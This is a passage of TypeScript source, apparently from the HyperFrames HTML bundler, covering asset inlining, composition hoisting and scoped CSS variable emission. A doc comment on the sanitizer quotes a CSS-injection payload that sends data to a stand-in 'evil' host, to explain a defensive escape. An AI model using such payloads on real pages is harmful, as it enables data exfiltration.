   *   genuinely self-contained HTML. Right for CLI render output, validate,
   *   snapshot, and any "ship a single .html file" use case.
   * - `"placeholder"` — emit `<script ... src=""></script>` so the caller can
   *   substitute it with a real URL via string replace. Used by the dev studio
   *   server and vite preview to point at a local runtime endpoint, which keeps
   *   the runtime cacheable across hot-reloads instead of re-inlining ~150 KB
   *   on every change.
   *
   * The `HYPERFRAME_RUNTIME_URL` env var, when set, takes precedence over both
   * modes and emits `<script ... src="<URL>">` directly.
   */
  runtime?: "inline" | "placeholder";
  /**
   * Inline .cube LUTs referenced from data-color-grading. Default: true for
   * self-contained renders/exports. Studio preview disables this so the editor
   * keeps showing project asset paths instead of giant data URLs.
   */
  inlineColorGradingLuts?: boolean;
  /**
   * Inline fonts, raster images (img/href/poster/srcset/CSS url()) and color grading LUTs as data
   * URLs, up to the per-asset size ceiling. Default: true, for a genuinely self-contained bundle. Set
   * false when the caller serves the project's own files alongside the bundle (e.g. a same-origin
   * asset route): assets then keep their authored relative URL, which the caller resolves.
   * `inlineColorGradingLuts` narrows LUTs further; it cannot inline a LUT this option excluded.
   */
  inlineAssets?: boolean;
  /** Preview only: tag each scene's host, styles and scripts (`data-hf-scene`) so one can be swapped. */
  sceneParts?: boolean;
  /** Warn when the compiled HTML breaks the HyperFrames contract (default true). */
  staticGuard?: boolean;
  /** Called once per build for each project file the build reads or looks for. */
  onRead?: (filePath: string) => void;
}

/**
 * Bundle a project's index.html into a single self-contained HTML file.
 *
 * - Compiles timing attributes and optionally resolves media durations
 * - Injects the HyperFrames runtime script
 * - Inlines local CSS and JS files
 * - Inlines sub-composition HTML fragments (data-composition-src)
 * - Inlines textual assets, fonts and raster images as data URLs, up to a
 *   per-asset size limit; audio/video and oversized assets keep their
 *   project-relative URL and require the project directory to be served
 */

type DeferredScriptChunk = string | (() => string);

function preserveLocalScriptIntegrity(
  doc: Document,
  src: string,
  resolvePath: (src: string) => string | null,
): boolean {
  const path = resolvePath(src);
  if (!path) return false;
  const pinned = [...doc.querySelectorAll("script[src][integrity]")].filter((el) => {
    const candidate = el.getAttribute("src") || "";
    return (
      isRelativeUrl(candidate) &&
      resolvePath(candidate) === path &&
      el.getAttribute("integrity")?.trim()
    );
  });
  for (const el of pinned) ensureExternalScriptTag(doc, src, readExternalScriptAttributes(el));
  return pinned.length > 0;
}

function hoistExternalScript(
  src: string,
  projectDir: string,
  doc: Document,
  seenSrcs: Set<string>,
  chunks: DeferredScriptChunk[],
  attributes: ExternalScriptAttributes,
): void {
  if (attributes.integrity?.trim()) {
    ensureExternalScriptTag(doc, src, attributes);
    seenSrcs.add(src);
    return;
  }
  if (seenSrcs.has(src)) return;
  seenSrcs.add(src);
  if (!isNonRelativeUrl(src) && !isAbsolute(src) && attributes.type !== "module") {
    const jsPath = resolveWithinProject(projectDir, decodedUrlPath(src));
    const js = jsPath ? safeReadFile(jsPath) : null;
    if (js != null) {
      chunks.push(() =>
        preserveLocalScriptIntegrity(doc, src, (value) =>
          resolveWithinProject(projectDir, decodedUrlPath(value)),
        )
          ? ""
          : js,
      );
      return;
    }
  }
  ensureExternalScriptTag(doc, src, attributes);
}

function hoistCompositionScripts(
  container: { querySelectorAll: (sel: string) => NodeListOf<Element> },
  opts: {
    projectDir: string;
    document: Document;
    compId: string | null;
    runtimeScope: string | undefined;
    runtimeCompId: string | undefined;
    authoredRootId: string | undefined;
    seenCompScriptSrcs: Set<string>;
    compScriptChunks: DeferredScriptChunk[];
    importMaps: ImportMap[];
    moduleScripts: string[];
  },
): void {
  for (const scriptEl of executableScripts(container)) {
    const externalSrc = (scriptEl.getAttribute("src") || "").trim();
    const type = (scriptEl.getAttribute("type") || "").trim().toLowerCase();
    if (!externalSrc && type === "importmap") {
      const map = parseImportMap(scriptEl.textContent || "", (url) => url);
      if (map) opts.importMaps.push(map);
      else
        console.warn(
          `[HyperFrames] ${opts.compId}: import map is not valid JSON, so it is skipped.`,
        );
    } else if (!externalSrc && type === "module") {
      const prelude = opts.compId ? scopedModulePrelude(opts.runtimeCompId || opts.compId) : "";
      opts.moduleScripts.push(prelude + (scriptEl.textContent || ""));
    } else if (externalSrc) {
      hoistExternalScript(
        externalSrc,
        opts.projectDir,
        opts.document,
        opts.seenCompScriptSrcs,
        opts.compScriptChunks,
        readExternalScriptAttributes(scriptEl),
      );
    } else {
      opts.compScriptChunks.push(
        opts.compId
          ? wrapScopedCompositionScript(
              scriptEl.textContent || "",
              opts.compId,
              "[HyperFrames] composition script error:",
              opts.runtimeScope,
              opts.runtimeCompId || opts.compId,
              opts.authoredRootId,
            )
          : wrapInlineScriptWithErrorBoundary(
              scriptEl.textContent || "",
              "[HyperFrames] composition script error:",
            ),
      );
    }
    scriptEl.remove();
  }
}

export function bundleToSingleHtml(projectDir: string, options?: BundleOptions): Promise<string> {
  const bundle = () => bundleProject(projectDir, options);
  const onRead = options?.onRead;
  if (!onRead) return bundle();
  const noted = new Set<string>();
  const noteOnce = (filePath: string) => {
    if (noted.has(filePath)) return;
    noted.add(filePath);
    onRead(filePath);
  };
  return bundleReads.run(noteOnce, bundle);
}

// A <template> scene has no root or GSAP of its own: bundle it inside the index that mounts it, as render does.
function readMountedSceneShell(
  projectDir: string,
  entryFile: string,
  entryHtml: string,
): string | null {
  if (!isTemplateEntry(entryHtml)) return null;
  const indexHtml = safeReadFile(resolve(projectDir, "index.html"));
  return indexHtml === null
    ? null
    : extractStandaloneEntryFromIndex(indexHtml, entryFile, entryHtml);
}

async function bundleProject(projectDir: string, options?: BundleOptions): Promise<string> {
  const entryFile = options?.entryFile ?? "index.html";
  const indexPath = resolveWithinProject(projectDir, entryFile);
  if (!indexPath || !existsSync(indexPath)) {
    throw new Error(`${entryFile} not found in project directory`);
  }
  noteRead(indexPath);
  const entryHtml = readFileSync(indexPath, "utf-8");
  const mountedShell = readMountedSceneShell(projectDir, entryFile, entryHtml);
  const sourceDir = mountedShell ? projectDir : dirname(indexPath);
  // Every mount of a sub-composition asks again for each of its url()s; isSafePath realpaths the whole chain.
  const safePaths = new Map<string, boolean>();
  const isSafeProjectPath = (resolved: string): boolean => {
    let safe = safePaths.get(resolved);
    if (safe === undefined) {
      safe = isSafePath(projectDir, resolved);
      safePaths.set(resolved, safe);
    }
    return safe;
  };
  const entryPaths = new Map<string, string | null>();
  const resolveEntryPath = (relativePath: string): string | null => {
    let entry = entryPaths.get(relativePath);
    if (entry === undefined) {
      const resolved = resolve(sourceDir, relativePath);
      entry = isSafeProjectPath(resolved) ? resolved : null;
      entryPaths.set(relativePath, entry);
    }
    return entry;
  };
  const resolveProjectPath = (relativePath: string): string | null => {
    const resolved = resolve(projectDir, relativePath);
    return isSafeProjectPath(resolved) ? resolved : null;
  };

  const resolveEntryUrl = (url: string): string | null => resolveEntryPath(decodedUrlPath(url));

  const readSource = options?.stampHfIds ? ensureHfIds : (html: string) => html;
  const rawHtml = readSource(mountedShell ?? entryHtml);
  const compiled = await compileHtml(rawHtml, sourceDir, options?.probeMediaDuration);

  if (options?.staticGuard !== false && !mountedShell) {
    const staticGuard = await validateHyperframeHtmlContract(compiled);
    if (!staticGuard.isValid) {
      console.warn(
        `[StaticGuard] Invalid HyperFrame contract: ${staticGuard.missingKeys.join("; ")}`,
      );
    }
  }

  const withInterceptor = injectInterceptor(compiled, options?.runtime ?? "inline");
  const document = parseHTMLContent(withInterceptor);

  if (resolve(sourceDir) !== resolve(projectDir)) {
    rebaseEntryAuthoredAssetPaths(document, sourceDir, projectDir);
  }

  for (const el of [...document.querySelectorAll('link[rel="stylesheet"]')]) {
    const href = el.getAttribute("href");
    if (!href || !isRelativeUrl(href) || cssStyleMergeKey(el) === undefined) continue;
    if (el.hasAttribute("disabled")) continue;
    const cssPath = resolveEntryUrl(href);
    if (!cssPath) continue;
    const css = safeReadFile(cssPath);
    if (css == null) continue;
    const style = document.createElement("style");
    for (const name of ["media", "title"]) {
      const value = el.getAttribute(name);
      if (value !== null) style.setAttribute(name, value);
    }
    style.textContent = inlineCssFile(css, dirname(cssPath), projectDir);
    el.replaceWith(style);
  }

  // Read before sub-compositions add theirs: only the root's own scripts can reach into scenes.
  const rootScripts = options?.sceneParts
    ? [
        ...document.querySelectorAll(`script:not([${RUNTIME_BOOTSTRAP_ATTR}])`),
        ...[...document.querySelectorAll("template")].flatMap((t) => [
          ...(t as HTMLTemplateElement).content.querySelectorAll("script"),
        ]),
      ].map((el) => {
        const src = el.getAttribute("src");
        const path = src && isRelativeUrl(src) ? resolveEntryUrl(src) : null;
        return src ? (path && safeReadFile(path)) || "" : el.textContent || "";
      })
    : [];

  // Inline sub-compositions (via shared function)
  const trackedCompositionHosts = getBundledTrackedCompositionHosts(document);
  const hostIdentityByElement = assignBundledRuntimeCompositionIds(trackedCompositionHosts);
  const subCompositionHosts = trackedCompositionHosts.filter((host) =>
    host.hasAttribute("data-composition-src"),
  );
  const sceneSources = new Map<string, string | null>();
  const subCompResult = inlineSubCompositions(document, subCompositionHosts, {
    resolveHtml: (srcPath: string) => {
      if (!isRelativeUrl(srcPath)) return null;
      const compPath = resolveEntryPath(srcPath);
      if (!compPath) return null;
      let source = sceneSources.get(compPath);
      if (source === undefined) {
        const html = safeReadFile(compPath);
        source = html === null ? null : readSource(html);
        sceneSources.set(compPath, source);
      } else {
        noteRead(compPath);
      }
      return source;
    },
    parseHtml: parseHTMLContent,
    hostIdentityMap: hostIdentityByElement,
    rewriteInlineStyles: true,
    // A sub-composition's SIBLING assets (a stylesheet next to it) must be
    // re-pointed at its own directory when its content moves to the root
    // document; project-root refs with no such sibling stay as authored.
    assetExists: (path: string) => {
      const resolved = resolveEntryPath(path);
      if (resolved) noteRead(resolved);
      return resolved !== null && existsSync(resolved);
    },
    flattenInnerRoot: prepareFlattenedInnerRoot,
    tagScenes: options?.sceneParts === true,
    readVariableDefaults: readDeclaredDefaults,
    parseHostVariables: parseHostVariableValues,
    buildScopeSelector: (compId: string) => cssAttributeSelector("data-composition-id", compId),
    scriptErrorLabel: "[HyperFrames] composition script error:",
    onMissingComposition: (srcPath: string, reason?: string) => {
      console.warn(
        `[Bundler] Skipping sub-composition "${srcPath}": ${reason ?? "the file could not be found"}.`,
      );
    },
  });
  refuseSwapsReachedByRootScripts(document, rootScripts);
  const styleRuns: PartRun<CompositionStyle>[] = [];
  subCompResult.styles.forEach((style, i) =>
    pushRun(styleRuns, subCompResult.styleScenes[i], style),
  );
  const scriptRuns: PartRun<DeferredScriptChunk>[] = [];
  const compStyleChunks: CompositionStyle[] = [];
  const compScriptChunks: DeferredScriptChunk[] = [];
  const compExternalLinks = [...subCompResult.externalLinks];
  const compVariablesByComp: Record<string, Record<string, unknown>> = {
    ...subCompResult.variablesByComp,
  };
  const seenCompScriptSrcs = new Set<string>();
  for (const scriptItem of subCompResult.scriptItems) {
    if (scriptItem.kind === "inline") {
      pushRun(scriptRuns, scriptItem.scene, scriptItem.content);
      continue;
    }
    const extSrc = scriptItem.src;
    if (scriptItem.integrity?.trim()) {
      ensureExternalScriptTag(document, extSrc, scriptItem);
      seenCompScriptSrcs.add(extSrc);
      continue;
    }
    if (seenCompScriptSrcs.has(extSrc)) continue;
    seenCompScriptSrcs.add(extSrc);
    if (isRelativeUrl(extSrc) && scriptItem.type !== "module") {
      const jsPath = resolveEntryUrl(extSrc);
      const js = jsPath ? safeReadFile(jsPath) : null;
      if (js != null) {
        const chunk = () =>
          preserveLocalScriptIntegrity(document, extSrc, resolveEntryUrl) ? "" : js;
        pushRun(scriptRuns, scriptItem.scene, chunk);
        continue;
      }
    }
    ensureExternalScriptTag(document, extSrc, scriptItem);
  }

  // Inline template compositions: inject <template id="X-template"> content into
  // matching empty host elements with data-composition-id="X" (no data-composition-src)
  const candidateInlineHosts = trackedCompositionHosts.filter(
    (host) => !host.hasAttribute("data-composition-src"),
  );
  for (const templateEl of [...document.querySelectorAll("template[id]")]) {
    const templateId = templateEl.getAttribute("id") || "";
    const match = templateId.match(/^(.+)-template$/);
    if (!match) continue;
    const compId = match[1];
    if (!compId) continue;

    const hosts = candidateInlineHosts.filter(
      (host) =>
        hostIdentityByElement.get(host)?.authoredCompositionId === compId &&
        host.children.length === 0,
    );
    if (hosts.length === 0) continue;

    const templateHtml = templateEl.innerHTML || "";

    for (const host of hosts) {
      const hostIdentity = hostIdentityByElement.get(host);
      const runtimeCompId = hostIdentity?.runtimeCompositionId || compId;
      const innerDoc = parseHTMLContent(templateHtml);
      const plan = planCompositionAssembly<Element>({
        contentNode: innerDoc,
        hasTemplate: true,
        compositionId: compId,
      });
      const { innerRoot, authoredRootId } = plan;
      const runtimeScope = runtimeCompId
        ? cssAttributeSelector("data-composition-id", runtimeCompId)
        : "";
      const mergedVariables = runtimeCompId ? parseHostVariableValues(host) : {};
      if (runtimeCompId && Object.keys(mergedVariables).length > 0) {
        compVariablesByComp[runtimeCompId] = mergedVariables;
      }
      // Same defect on the <template> mount as on the data-composition-src
      // mount (see inlineSubCompositions): the merged instance values are
      // baked in here, so only compile time can see a value that falls back.
      if (runtimeCompId) {
        warnUnknownEnumValues(innerDoc.documentElement, mergedVariables, runtimeCompId);
        warnUnknownEnumValues(innerRoot, mergedVariables, runtimeCompId);
      }
      pushSubCompVariableStyles(
        innerDoc,
        innerRoot,
        mergedVariables,
        runtimeScope,
        compStyleChunks,
      );

      if (innerRoot) {
        // Hoist styles into the collected style chunks
        for (const styleEl of [...innerRoot.querySelectorAll("style")]) {
          if (cssStyleMergeKey(styleEl) === undefined) continue;
          const css = styleEl.textContent || "";
          compStyleChunks.push(
            compositionStyle(
              styleEl,
              compId
                ? scopeCssToComposition(css, compId, runtimeScope, authoredRootId, {
                    scopeRootSelectors: true,
                  })
                : css,
            ),
          );
          styleEl.remove();
        }
        hoistCompositionScripts(innerRoot, {
          projectDir,
          document,
          compId,
          runtimeScope,
          runtimeCompId,
          authoredRootId: authoredRootId ?? undefined,
          seenCompScriptSrcs,
          compScriptChunks,
          importMaps: subCompResult.importMaps,
          moduleScripts: subCompResult.moduleScripts,
        });

        // Copy dimension attributes from inner root to host if not already set
        const innerW = innerRoot.getAttribute("data-width");
        const innerH = innerRoot.getAttribute("data-height");
        if (innerW && !host.getAttribute("data-width")) host.setAttribute("data-width", innerW);
        if (innerH && !host.getAttribute("data-height")) host.setAttribute("data-height", innerH);
        const preparedInnerRoot = prepareFlattenedInnerRoot(innerRoot);
        host.innerHTML = preparedInnerRoot.outerHTML || "";
      } else {
        // No matching inner root — inject all template content directly
        for (const styleEl of [...innerDoc.querySelectorAll("style")]) {
          if (cssStyleMergeKey(styleEl) === undefined) continue;
          const css = styleEl.textContent || "";
          compStyleChunks.push(
            compositionStyle(
              styleEl,
              compId
                ? scopeCssToComposition(css, compId, runtimeScope, undefined, {
                    scopeRootSelectors: true,
                  })
                : css,
            ),
          );
          styleEl.remove();
        }
        hoistCompositionScripts(innerDoc, {
          projectDir,
          document,
          compId,
          runtimeScope,
          runtimeCompId,
          authoredRootId: undefined,
          seenCompScriptSrcs,
          compScriptChunks,
          importMaps: subCompResult.importMaps,
          moduleScripts: subCompResult.moduleScripts,
        });

        host.innerHTML = innerDoc.body.innerHTML || "";
      }
      for (const el of plan.inertScriptsOutsideRoot)
        host.insertAdjacentHTML("beforeend", el.outerHTML);
    }

    // Remove the template element from the document
    templateEl.remove();
  }

  for (const el of [...document.querySelectorAll("script[src]")]) {
    const src = el.getAttribute("src");
    if (!src || !isRelativeUrl(src)) continue;
    if (preserveLocalScriptIntegrity(document, src, resolveEntryUrl)) continue;
    // Module scripts can contain static imports whose resolution is relative
    // to the script URL. Folding their source into a classic inline script
    // both drops module semantics and changes the import base URL.
    if ((el.getAttribute("type") || "").trim().toLowerCase() === "module") continue;
    const jsPath = resolveEntryUrl(src);
    const js = jsPath ? safeReadFile(jsPath) : null;
    if (js == null) continue;
    el.setAttribute(INLINED_FILE_ATTR, src);
    el.removeAttribute("src");
    el.textContent = js;
  }

  for (const link of compExternalLinks) ensureExternalLinkTag(document, link);

  for (const css of compStyleChunks) pushRun(styleRuns, undefined, css);
  for (const chunk of compScriptChunks) pushRun(scriptRuns, undefined, chunk);
  const variablesByCompScript = buildVariablesByCompScript(compVariablesByComp);
  if (variablesByCompScript) {
    if (scriptRuns[0] && !scriptRuns[0].scene) scriptRuns[0].chunks.unshift(variablesByCompScript);
    else scriptRuns.unshift({ chunks: [variablesByCompScript] });
  }
  for (const { scene, chunks } of styleRuns) {
    const join = scene ? joinCssHoistingImports : (css: string[]) => css.join("\n\n");
    for (const style of styleElementsFor(document, chunks, join)) {
      if (scene) style.setAttribute(SCENE_PART_ATTR, scene);
      document.head.appendChild(style);
    }
  }
  for (const { scene, chunks } of scriptRuns) {
    const texts = chunks.map((chunk) => (typeof chunk === "string" ? chunk : chunk()));
    const joined = joinJsChunks(texts);
    const skipsRunMerge = Boolean(scene);
    for (const text of parsesAsScript(joined) ? [joined] : texts.filter(Boolean)) {
      const script = document.createElement("script");
      if (scene) script.setAttribute(SCENE_PART_ATTR, scene);
      script.textContent = skipsRunMerge
        ? await inlineScriptSource(text, options?.scriptProvenance)
        : text;
      document.body.appendChild(script);
    }
  }
  emitMountedModuleScripts(document, subCompResult.importMaps, subCompResult.moduleScripts);

  emitRootCompositionVariableStyles(document, compVariablesByComp);

  enforceCompositionPixelSizing(document);
  autoHealMissingCompositionIds(document);
  await coalesceHeadStylesAndBodyScripts(document, options?.scriptProvenance);
  for (const el of document.querySelectorAll(`script[${INLINED_FILE_ATTR}]`)) {
    const js = el.textContent ?? "";
    el.textContent = escapeInlineScriptSource(
      isJavaScriptType(el) ? await stripJsCommentsParserSafe(js, options?.scriptProvenance) : js,
    );
  }
  deferScriptsUntilFonts(document, (el) => el.hasAttribute(RUNTIME_BOOTSTRAP_ATTR));
  injectTextRenderingRule(document);

  // Inline textual assets
  const inlineAssets = options?.inlineAssets !== false;
  const inlineAsset = createAssetInliner(resolveProjectPath, inlineAssets);
  for (const el of [...document.querySelectorAll("[src], [href], [poster], [xlink\\:href]")]) {
    for (const attr of ["src", "href", "poster", "xlink:href"] as const) {
      const value = el.getAttribute(attr);
      if (!value) continue;
      // Chromium requires external SVG <use> fragments to be same-origin with
      // the document. Converting the sprite to a data: URL makes it an opaque
      // origin and triggers "Unsafe attempt to load URL ... from frame".
      // Keep the project-relative URL; render/check servers already expose it.
      if (isExternalSvgFragmentUse(el, attr, value)) continue;
      const inlined = inlineAsset(value);
      if (inlined) el.setAttribute(attr, inlined);
    }
  }
  for (const el of [...document.querySelectorAll("[srcset]")]) {
    const srcset = el.getAttribute("srcset");
    if (srcset) el.setAttribute("srcset", rewriteSrcsetWithInlinedAssets(srcset, inlineAsset));
  }
  // Before inlining, so postcss reads paths not font bytes.
  const liveStyles = [...document.querySelectorAll("style")].filter(isAlwaysAppliedStyle);
  const liveCss = liveStyles.map((el) => el.textContent || "");
  const { styles, faces } = options?.sceneParts
    ? hoistFontFaceRules(liveCss)
    : { styles: dedupeFontFaceRules(liveCss), faces: [] };
  liveStyles.forEach((el, i) => {
    el.textContent = styles[i] ?? "";
  });
  if (faces.length > 0) {
    const holder = document.createElement("style");
    holder.setAttribute(SCENE_FONTS_ATTR, "");
    holder.textContent = faces.join("\n");
    document.head.prepend(holder);
  }
  for (const styleEl of document.querySelectorAll("style")) {
    styleEl.textContent = rewriteCssUrlsWithInlinedAssets(styleEl.textContent || "", inlineAsset);
  }
  for (const el of [...document.querySelectorAll("[style]")]) {
    el.setAttribute(
      "style",
      rewriteCssUrlsWithInlinedAssets(el.getAttribute("style") || "", inlineAsset),
    );
  }
  if (inlineAssets && options?.inlineColorGradingLuts !== false) {
    for (const el of [...document.querySelectorAll(`[${HF_COLOR_GRADING_ATTR}]`)]) {
      const value = el.getAttribute(HF_COLOR_GRADING_ATTR);
      if (value) {
        el.setAttribute(
          HF_COLOR_GRADING_ATTR,
          rewriteColorGradingLutWithInlinedAssets(value, inlineAsset),
        );
      }
    }
  }

  assignMediaRenderIds(document);
  return document.toString();
}

/**
 * Make a scalar variable value safe to bake into a stylesheet.
 *
 * Two independent hazards, so two layers:
 *
 * 1. `sanitizeCssValue` is the runtime's own contract (`applyVariableBindings`,
 *    and `docs/concepts/variables.mdx` promises it): a scalar folded into
 *    `background: var(--x)` must not be able to close the declaration and open a
 *    new rule (`red; } body { background-image: url(//evil?data=…) }`). The
 *    compile path has to reach the same result as the runtime — a value the
 *    runtime strips but a compile-time emit honours would make the rendered MP4
 *    diverge from the preview.
 * 2. These rules are then serialized inside a `<style>` element, which is a RAW
 *    TEXT element: HTML serialization does not escape its content and the
 *    tokenizer ends it at the first `</style`. `\3c ` is the CSS escape for `<`,
 *    valid in every value position including inside an unquoted `url()`, and
 *    resolves back to `<`, so rendering is unchanged. The trailing space is
 *    consumed as part of the escape.
 *
 * The sanitizer already removes `<`, so today layer 2 is redundant for values
 * and load-bearing only for the selector (`cssAttributeSelector`, which must
 * preserve `<` to keep matching). It stays because the two layers answer to
 * different rules: narrowing the scalar character set must not silently reopen
 * an element-termination hole.
 *
 * Variable IDs need no equivalent: `cssVariableName` slugifies them.
 */
function cssSafeVariableValue(value: string | number): string {
  return sanitizeCssValue(String(value)).replace(/</g, "\\3c ");
}

/** One stylesheet rule defining primitive composition variables under `selector`. */
function compositionVariablesCssBlock(
  variables: Record<string, unknown>,
  selector: string,
): string | null {
  const lines: string[] = [];
  for (const [id, value] of Object.entries(variables)) {
    if ((typeof value === "string" && value !== "") || typeof value === "number") {
      lines.push(`  ${cssVariableName(id)}: ${cssSafeVariableValue(value)};`);
    }
  }
  if (lines.length === 0) return null;
  return `${selector} {\n${lines.join("\n")}\n}`;
}

/**
 * Compile-time counterpart of the runtime's injectCompositionCssVariables:
 * every element declaring data-composition-variables gets a scoped stylesheet
 * rule so var(--slug, literal) references resolve during body parse. The
 * runtime injection remains define-if-absent, so it won't double-apply.
 *
 * `variablesByComp` (host-merged sub-composition values, keyed by runtime
 * composition id) adds one rule per scope — the flattened inner root loses
 * its data-composition-id, so the host selector is the only stable anchor.
 * Exported for the producer's render compiler, which inlines sub-compositions
 * through the shared module rather than this bundler.
 * Returns whether a style element was appended.
 */
export function emitRootCompositionVariableStyles(
  document: Document,
  variablesByComp: Record<string, Record<string, unknown>> = {},
  overrides: Record<string, unknown> = {},
): boolean {
  const authoredDefines = authoredDefinesPredicate(document);
  const layerFor = makeVariableLayer(authoredDefines, overrides);
  const rules = [
    ...hostScopedVariableRules(variablesByComp, overrides, authoredDefines),
    ...rootDeclaredVariableRules(document, layerFor),
    ...declarerVariableRules(document, layerFor),
  ];
  if (rules.length === 0) return false;
  const style = document.createElement("style");
  style.setAttribute("data-hf-composition-variables", "");
  style.textContent = rules.join("\n\n");
  document.head.appendChild(style);
  return true;
}

type VariableLayer = (
  declared: Record<string, unknown>,
  hostValues: Record<string, unknown>,
) => Record<string, unknown>;

function authoredDefinesPredicate(document: Document): (id: string) => boolean {
  const authoredCss = [...document.querySelectorAll("style:not([data-hf-composition-variables])")]
    .map((s) => s.textContent || "")
    .join("\n");
  const defined = namesBeforeAColon(authoredCss);
  return (id) => defined.has(cssVariableName(id));
}

/** Every `--name` written right before a `:`, including the tail of a longer word (`.a--b:hover`), in one pass. */
function namesBeforeAColon(css: string): Set<string> {
  const names = new Set<string>();
  const word = /[\w-]+/g;
  const colonNext = /\s*:/y;
  for (let match = word.exec(css); match; match = word.exec(css)) {
    colonNext.lastIndex = word.lastIndex;
    if (!colonNext.test(css)) continue;
    const text = match[0];
    for (let at = text.indexOf("--"); at !== -1; at = text.indexOf("--", at + 1))
      names.add(text.slice(at));
  }
  return names;
}

/**
 * Layering for one declarer: authored stylesheet definitions win over
 * declared defaults (the runtime's define-if-absent, applied statically) —
 * a var already defined in any authored <style> block is not emitted. Host
 * values and --variables overrides are explicit intent, never filtered.
 */
function makeVariableLayer(
  authoredDefines: (id: string) => boolean,
  overrides: Record<string, unknown>,
): VariableLayer {
  return (declared, hostValues) => {
    const out: Record<string, unknown> = {};
    for (const [id, value] of Object.entries(declared)) {
      if (!authoredDefines(id)) out[id] = value;
    }
    for (const [id, value] of Object.entries(hostValues)) {
      if (id in declared) out[id] = value;
    }
    for (const [id, value] of Object.entries(overrides)) {
      if (id in declared || id in hostValues) out[id] = value;
    }
    return out;
  };
}

/**
 * Host-scoped rules: per-instance values inherited by the host's subtree.
 * A composition variable, whether a declared default or an explicit
 * data-variable-values value, never redefines a custom property authored by
 * another part of the document. Render-time --variables overrides remain
 * explicit user intent and always win.
 */
function hostScopedVariableRules(
  variablesByComp: Record<string, Record<string, unknown>>,
  overrides: Record<string, unknown>,
  authoredDefines: (id: string) => boolean,
): string[] {
  const rules: string[] = [];
  for (const [compId, vars] of Object.entries(variablesByComp)) {
    const withOverrides: Record<string, unknown> = {};
    for (const [id, value] of Object.entries(vars)) {
      if (!authoredDefines(id)) withOverrides[id] = value;
    }
    for (const [id, value] of Object.entries(overrides)) {
      if (id in vars) withOverrides[id] = value;
    }
    const rule = compositionVariablesCssBlock(
      withOverrides,
      cssAttributeSelector("data-composition-id", compId),
    );
    if (rule) rules.push(rule);
  }
  return rules;
}

function rootDeclaredVariableRules(document: Document, layerFor: VariableLayer): string[] {
  const htmlDeclared = readDeclaredDefaults(document.documentElement);
  const htmlRule = compositionVariablesCssBlock(layerFor(htmlDeclared, {}), ":root");
  return htmlRule ? [htmlRule] : [];
}

/**
 * Declarer rules anchor on a per-instance marker attribute, not the
 * composition id: two inlined instances of one sub-composition share a
 * data-composition-id, and a shared selector would let instance A's rule
 * restyle instance B. The nearest ancestor host's data-variable-values
 * layer over the declared defaults (mirrors the runtime loader).
 */
function declarerVariableRules(document: Document, layerFor: VariableLayer): string[] {
  const rules: string[] = [];
  let markerSeq = 0;
  for (const el of [...document.querySelectorAll("[data-composition-variables]")]) {
    const declared = readDeclaredDefaults(el);
    const hostEl =
      typeof el.closest === "function" ? el.parentElement?.closest("[data-variable-values]") : null;
    const hostValues = hostEl ? parseHostVariableValues(hostEl) : {};
    const vars = layerFor(declared, hostValues);
    if (Object.keys(vars).length === 0) continue;
    markerSeq += 1;
    el.setAttribute("data-hf-var-scope", String(markerSeq));
    const rule = compositionVariablesCssBlock(vars, `[data-hf-var-scope="${markerSeq}"]`);
    if (rule) rules.push(rule);
  }
  return rules;
}

/**
 * Compile-time CSS custom properties for a sub-comp scope: declared defaults
 * layered under per-instance host values, emitted as a stylesheet rule on the
 * host selector. A stylesheet in <head> is in effect while the body parses,
 * so eval-time reads (GSAP .from immediateRender, canvas tinting) see the
 * right values — the runtime's DOMContentLoaded injection is too late for
 * those on compiled pages.
 */
function pushSubCompVariableStyles(
  innerDoc: Document,
  innerRoot: Element | null,
  mergedVariables: Record<string, unknown>,
  runtimeScope: string,
  compStyleChunks: CompositionStyle[],
): void {
  if (!runtimeScope) return;
  const declaredForCss = readDeclaredDefaults(innerDoc.documentElement);
  const innerRootForVars = innerRoot ?? innerDoc.querySelector("[data-composition-variables]");
  if (innerRootForVars) Object.assign(declaredForCss, readDeclaredDefaults(innerRootForVars));
  const cssVars = compositionVariablesCssBlock(
    { ...declaredForCss, ...mergedVariables },
    runtimeScope,
  );
  if (cssVars) compStyleChunks.push({ css: cssVars, media: null, title: null });
}